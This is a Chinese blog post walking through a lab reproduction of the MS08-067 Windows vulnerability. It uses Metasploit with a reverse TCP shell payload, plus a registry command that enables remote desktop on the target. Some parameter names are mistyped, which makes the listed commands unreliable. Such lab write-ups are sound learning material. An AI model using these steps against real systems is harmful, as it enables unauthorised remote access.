当前位置:网站首页>渗透测试中期--漏洞复现--MS08_067

渗透测试中期--漏洞复现--MS08_067

2021-01-23 18:17:45 雪地里的Alan

靶机:Win2k3    10.10.10.130

攻击机:BT5      10.10.10.128

一:nmap 查看WinK3是否开放端口3389

  

 

 开放3389方法:我的电脑->属性->远程

  

 

   命令行方式开启3389端口(任意端口):

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

 

二、攻击阶段

  1、查找ms08_067漏洞模块

   

 

   2、调用08_067_netapi渗透模块

 

 

   3、查看此渗透模块所对应的攻击载荷

 

 

   4、查看设置参数并进行设置所需要的参数

  

set payloads generic/shell_reverse_tcp  #设置所需模块

set options #查看模块所需的设置的参数

  

set RHOST 10.10.10.130 #设置目标主机
set LRHOST 10.10.10.128 #设置本机
set LPORT 5000  #设置攻击机与靶机连接的端口
show targets 
set target 7  #通过show targets 可以查看漏洞所支持windows版本,并设置目标主机所对应的版本序号

 

 

 5、开始攻击

  

 

 可以看到已经在win2k3的C盘目录下了

    

 

版权声明
本文为[雪地里的Alan]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/white-the-Alan/p/14318478.html

随机推荐